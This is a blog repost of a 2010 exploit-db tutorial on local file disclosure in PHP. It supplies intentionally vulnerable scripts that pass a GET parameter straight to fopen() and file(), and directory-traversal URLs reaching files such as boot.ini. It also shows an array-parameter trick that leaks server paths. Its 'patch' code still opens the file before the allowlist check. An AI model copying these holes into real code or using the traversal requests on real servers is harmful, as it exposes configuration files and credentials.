`
blogfeifei
  • 浏览: 1196246 次
文章分类
社区版块
存档分类
最新评论

File(),Fgets(),Fgetc() Local File Disclosure (LFD) Paper

 
阅读更多

http://www.exploit-db.com/exploits/11497

/*!----------------------------------------------------------*/
/*! File(),Fgets(),Fgetc() Local File Disclosure (LFD) Paper */                        
/*! Author   : hexon 				             */                             
/*! Tested On: Windows XP Home Edition SP2 & SP3             */
/*! Contact  : hkhexon@gmail.com                             */       
/*! Date     : 19th January 2010                             */   
/*!----------------------------------------------------------*/

=======
Preface
=======

As you can see , this is a paper about Local File Disclosure (LFD) , you may have asked that why did I wrote this paper as there are people who also contributed in this method like: 

Malaysian Script Kiddy(as requested) Ahlspiess - file_get_contents() , readfile()
Romanian Hacker Sirgod - file_get_contents(),readfile() 
Lebanon Hacker Moudi - readfile()  
French(if not mistaken) Hacker 599eme Man - readfile()

and now

(Unknown) Pentester Hexon - File() , Fgets() , Fgetc()

Well, since they had introduced those LFD methods,I will introduce another method which is very unlikely to happen but may still happen(but it also applies to the methods shown by the other four person).

NOTE : I do not hold any responsibility on what you do after learning the skills available at my paper.

=====
Intro
=====

Local File Disclosure is a flaw where the attacker can read the source codes of a particular file on the webserver.With the application of directory transversal skiil,Attackers can read important files like config.php where important information like usernames,passwords are stored and attackers can perform attacks on the webserver. 

=====================
Proof Of Concept(POC)
=====================

A Proof Of Concept(POC) would be needed to to prove that my theory does work. 

NOTE : You will need a webserver to read php codes so install a webserver like xampp (http://www.apachefriends.org/en/xampp.html).

Open a text editor and copy paste the codes. 

PUT ALL THE FILES AT the specified folder like /www/ at vertigo or /htdocs/ at xampp. 

=======
fgets()
=======

Save the following codes as fgets.html

/*! Code Start */

<html>
<title>
Fgets() POC
</title>
<form action = "fgets.php" method = "get" />
fgets() vulnerability <br />
<input type="text" name="fgets" />
<input type="submit" />
</form>
</html>

/*! End Code */

Save the following codes as fgets.php

/*! Code Start */

<?php

$vuln = fopen($_GET['fgets'],"r+") or exit("unable to open the specified file"); // vulnerable code
/* 
you can use "r", instead of "r+" but not "w","w+" as it clears the file , as well as "a","a+","x",and"x+" as they are not for file reading.
*/

while(!feof($vuln))
{
echo fgets($vuln) . "<br />";
}

fclose($vuln);

?>

/*! End Code */

=======
fgetc()
=======

Save the following codes as fgetc.html

/*! Code Start */

<html>
<title>
Fgetc() POC
</title>
<form action = "fgetc.php" method = "get" />
fgetc() LFD vulnerabiliy <br />
<input type="text" name="fgetc" />
<input type="submit" />
</form>
</html>

/*! End Code */

Save the following codes as fgetc.php

/*! Code Start */

<?php

$vuln = fopen($_GET['fgetc'],"r+") or exit("unable to open the specified file");  // vulnerable code

/* 
you can use "r", instead of "r+" but not "w","w+" as it clears the file , as well as "a","a+","x",and"x+" as they are not for file reading.
*/

while(!feof($vuln))
{
echo fgetc($vuln);   // NOTE : fgetc() is not suitable to read big files.
}

fclose($vuln);

?>

/*! End Code */

======
file()
======

Save the following codes as file.html

/*! Code Start */

<html>
<title>
File() POC
</title>
<form action = "file.php" method = "get" />
file() POC <br />
<input type="text" name="file" />
<input type="submit" />
</form>
</html>

/*! End Code */

Save the following codes as file.php

/*! Code Start */

<?php

$vuln =file($_GET['file']);  // the vulnerable code

print_r($vuln);     // print_r is used as print_r is used to output values of array.

?>

/*! End Code */

============
Exploitation
============

NOTE : Make sure that your apache server is running and the files are at the right location.

Try to open the fgets.html at your browser (do not open it directly by clicking at the file)

Example:

http://localhost/test/fgets.html

Method:
A textbox will appear and type the "filename" with "extension" that you want to read at it and click "Submit".

The method is the same for the other two.

Example:

http://localhost/test/fgetc.html

http://localhost/test/file.html

just put the filename and click Submit.

After you click Submit, you will be redirected to the fgets.php/fgetc/php/file.php(depending on which did you use)

Example :

http://localhost/test/fgets.php?fgets=filename.extension

http://localhost/test/fgetc.php?fgetc=filename.extension

http://localhost/test/file.php?file=filename.extension

====================
Further Exploitation
====================

Skills Required : Directory Transversal(compulsary),Full Path Disclosure(FPD) or even Partial Function Disclosure(PFD)(optional)

=====================
Directory Transversal
=====================

We can read files from other folders with the application of Directory Transversal technique.

By applying "../" , we can locate files at parent folder to read.

Example:

http://localhost/test/fgets.php?fgets=../filename.extension

http://localhost/test/fgetc.php?fgetc=../filename.extension

http://localhost/test/file.php?file=../filename.extension

We can read other folders by increasing the "../".

Example of a exploitation with directory transversal (Only for Windows):

http://localhost/test/fgets.php?fgets=../../../boot.ini

http://localhost/test/fgetc.php?fgetc=../../../boot.ini

http://localhost/test/file.php?file=../../../boot.ini

NOTE : There are a lot of files that you can read , use your imaginary skills.

===========================
Partial Function Disclosure
===========================

We can apply Partial Function Disclosure(PFD) Skill which is by adding a [] infront of "=" to make the name as a array.

http://localhost/test/fgets.php?fgets[]=

http://localhost/test/fgetc.php?fgetc[]=

http://localhost/test/file.php?file[]=

This will cause an error as it is not an array and the directory of the folder will be revealed (in the error) .

Example: (fgets.php is used)

http://localhost/test/fgets.php?fgets[]=

Warning: fopen() expects parameter 1 to be string, array given in I:/xampp/htdocs/test/fgets.php on line 3

I will not discuss on how to fix it as it is quite irrelevant , maybe I will include it in my next paper.

========
POC Test
========

This POC has been tested by me and Ahlspiess on Windows XP SP2 and SP3 but I do believe it works on all types of OS.

=====
Patch
=====

Since we have a way to exploit it , there must be a way to patch it.

This is a section for webdevelopers/webmasters as well as pentesters who do not know about this flaw. 

Apparently, I have two ways of patching it.

=======
Primary
=======

REMOVE IT !! Most web applications do not need to allow file read function as it is usually not used.
Webmasters can read source codes of the files without using those functions.

=========
Secondary
=========

If you insist on not removing it , then use switch or if logical statements to limit users from reading important files.But in this case , I will use switch as switch is more suitable for this.

Edit the codes or make a new file and delete the old ones.

=========
fgets.php
=========

/*! Code Start */

<?php

$vuln = fopen($_GET['fgets'],"r+") or exit("unable to open the specified file"); 
/* 
you can use "r", instead of "r+" but not "w","w+" as it clears the file , as well as "a","a+","x",and"x+"
*/
switch($_GET['fgets'])            // switch is added to filter user input
{
case 'a.html':                    // any filename would be appropriate.
case 'b':                         // any filename would be appropriate.
case 'd.php':                     // any filename would be appropriate.
case 'filename.extension':        // any filename would be appropriate. 

while(!feof($vuln))
{
echo fgets($vuln) . "<br />";
}

fclose($vuln);
break;

default:                          // for those who read files not in the list
echo "You do not have the permission to read this specific file";
}
?>

/*! End Code */

=========
fgetc.php
=========

/*! Code Start */

<?php

$vuln = fopen($_GET['fgetc'],"r+") or exit("unable to open the specified file");

/* 
you can use "r", instead of "r+" but not "w","w+" as it clears the file , as well as "a","a+","x",and"x+"
*/

switch($_GET['fgetc'])                    // switch is added to filter user input
{
case 'a.html':                          // any filename would be appropriate.
case 'b':                               // any filename would be appropriate.
case 'd.php':                           // any filename would be appropriate.
case 'filename.extension':              // any filename would be appropriate.

while(!feof($vuln))
{
echo fgetc($vuln) ." ";
}

fclose($vuln);
break;

default:                                // for those who read files not in the list
echo "You do not have the permission to read this specific file";
}


?>

/*! End Code */

========
file.php
========

/*! Code Start */

<?php

$vuln =file($_GET['file']);            // the vulnerable code

switch($_GET['file'])                  // switch is added to filter user input
{
case 'a.html':                         // any filename would be appropriate.
case 'b':                              // any filename would be appropriate.
case 'd.php':                          // any filename would be appropriate.
case 'filename.extension':             // any filename would be appropriate.

print_r($vuln);                        // print_r is used as print_r is used to output values of array.
break;

default:                               // for those who read files not in the list
echo "You do not have the permission to read this specific file";
}

?> 

/*! End Code */

======
Greetz
======

/*! My mind , feel free to contact me if you have something to ask/contribute */
/*! Ahlspiess for testing my LFD theory and give ideas eventhough I didn't used it*/
/*! w3schools(www.w3schools.com/)*/

分享到:
评论

相关推荐

    fgets与fputs函数

     原型是char *fgets(char *s, int n, FILE *stream);  从流中读取n-1个字符,除非读完一行,参数s是来接收字符串,如果成功则返回s的指针,否则返回NULL。  形参注释:*s结果数据的首地址;n-1:一次读入数据块...

    fputc和fgetc函数使用举例2 C源代码

    fputc和fgetc函数使用举例2 C源代码 //将一个磁盘文件中的信息复制到另一个磁盘文件中。 #include #include void main()

    fgets_fgets_

    Implementation of fgets file handling function in c.

    如何解决fgets读取popen内容阻塞的问题

    如何解决fgets读取popen内容阻塞的问题

    c语言fgets fputs 读写文件

    读字符串函数fgets函数的功能是从指定的文件中读一个字符串到字符数组中,函数调用的形式为: fgets(字符数组名,n,文件指针)

    C++文件读写+二进制读写+STL文件函数+创建文件+读指针+写指针+读写指针+可应用于系统中底层的文件创建+计算机专业领域

    fscanf、fread,fgets,fgetc 等函数读文件,fprintf, fwrite,fputs,fputc等函数写文件,都需要通过fopen返回的FILE *指针进行 文件读写结束后,一定要fclose关闭文件!!!否则可能导致写入文件的数据没被保存,...

    c语言文件读写函数

    字符读写函数:(fgetc和fputc) fputc函数:把一个字符写到磁盘文件上。具体格式如下:fputc(ch,fp) fgetc函数:从磁盘文件读取一个字符。其格式如下:ch=fgetc(fp) 字符串读写函数:(fgets和fputs) fputs函数:...

    PHP使用fopen与file_get_contents读取文件实例分享

    本文章通过实例向大家讲解fopen和file_get_contents读取文件的实现代码。需要的码农可以参考一下。 fopen读取文件的代码如下: &lt;?php $file_name = 1.txt; echo $file_name . ; $fp = fopen&#40;$file_name, ...

    C语言文件操作中 fgets与fputs 函数详解

    char *fgets( char *str, int num, FILE *stream ); 函数fgets()从给出的文件流中读取[num – 1]个字符并且把它们转储到str(字符串)中. fgets()在到达行末时停止,在这种情况下,str(字符串)将会被一个新行符结束. ...

    标准I/O库函数:fgets与gets比较分析

     用法:char *fgets(char *string,int n,FILE *stream);  形参注释:  *string:结果数据的首地址;n-1:读入数据块的长度,其默认值为1k,即1024;stream文件指针,指向一个文件  函数说明:  fgets()用来...

    fgets.c

    fgets.c

    C语言 FILE 文件读写

    接着,代码展示了文件读取操作,再次使用fopen()函数以读取模式打开文件,并使用fgets()逐行读取文件内容,最后通过循环打印出文件内容。 需要注意的是,如果在运行代码之前不存在 "example.txt" 文件,该文件会被...

    php文件读取方法实例分析

    echo fgetc($file); //读取文件中的一个字符 fclose($file); //关闭文件 ?&gt; &lt;?php $file = fopen&#40;"Test//file.txt", "r"&#41;; //打开文件 echo fgets($file); //读取文件中的一行 fclose($file); //...

    13.第十三章 文件.txt

    规格:int fgetc(FILE * stream); 功能:从指定的文件中读一个字符。 参数:stream为指向文件的指针。 返回值:从stream所指的文件流中读取一个字符,转换为int类型返回。若已到文件尾返回EOF,文件状态改为结束...

    lichee_20170502_1607_全志R16的linux系统编译需要改动的文件_使用parrotv1.1的内核_没有外层目录.7z

    libencode-locale-perl libfile-listing-perl libfont-afm-perl libhtml-form-perl libhtml-format-perl libhtml-parser-perl libhtml-tagset-perl libhtml-tree-perl libhttp-cookies-perl libhttp-daemon-perl ...

    fgets函数与fputs函数

    文章简单介绍了fgets函数和fputs函数的应用及不同

    fgets函数用法

    详细描述了fgets函数的用法,该函数可读取文件中的字符串,可供C/CPP开发人员参考。

    C语言程序设计标准教程

     fgetc函数的功能是从指定的文件中读一个字符,函数调用的形式为: 字符变量=fgetc(文件指针); 例如:ch=fgetc(fp);其意义是从打开的文件fp中读取一个字符并送入ch中。  对于fgetc函数的使用有以下几点说明: 1....

    文件的读写操作

    1.fgetc/fputc(fgetc结束标记EOF) //从fp指向的文件中一次读取一个字符 fgetc(fp) //读取n个字符到屏幕上 fputc(n,stdout); 2.fgets/fputs(fgets结束标记NULL) //从fp指向的文件中读文件的读写 文件起始处取信息到...

Global site tag (gtag.js) - Google Analytics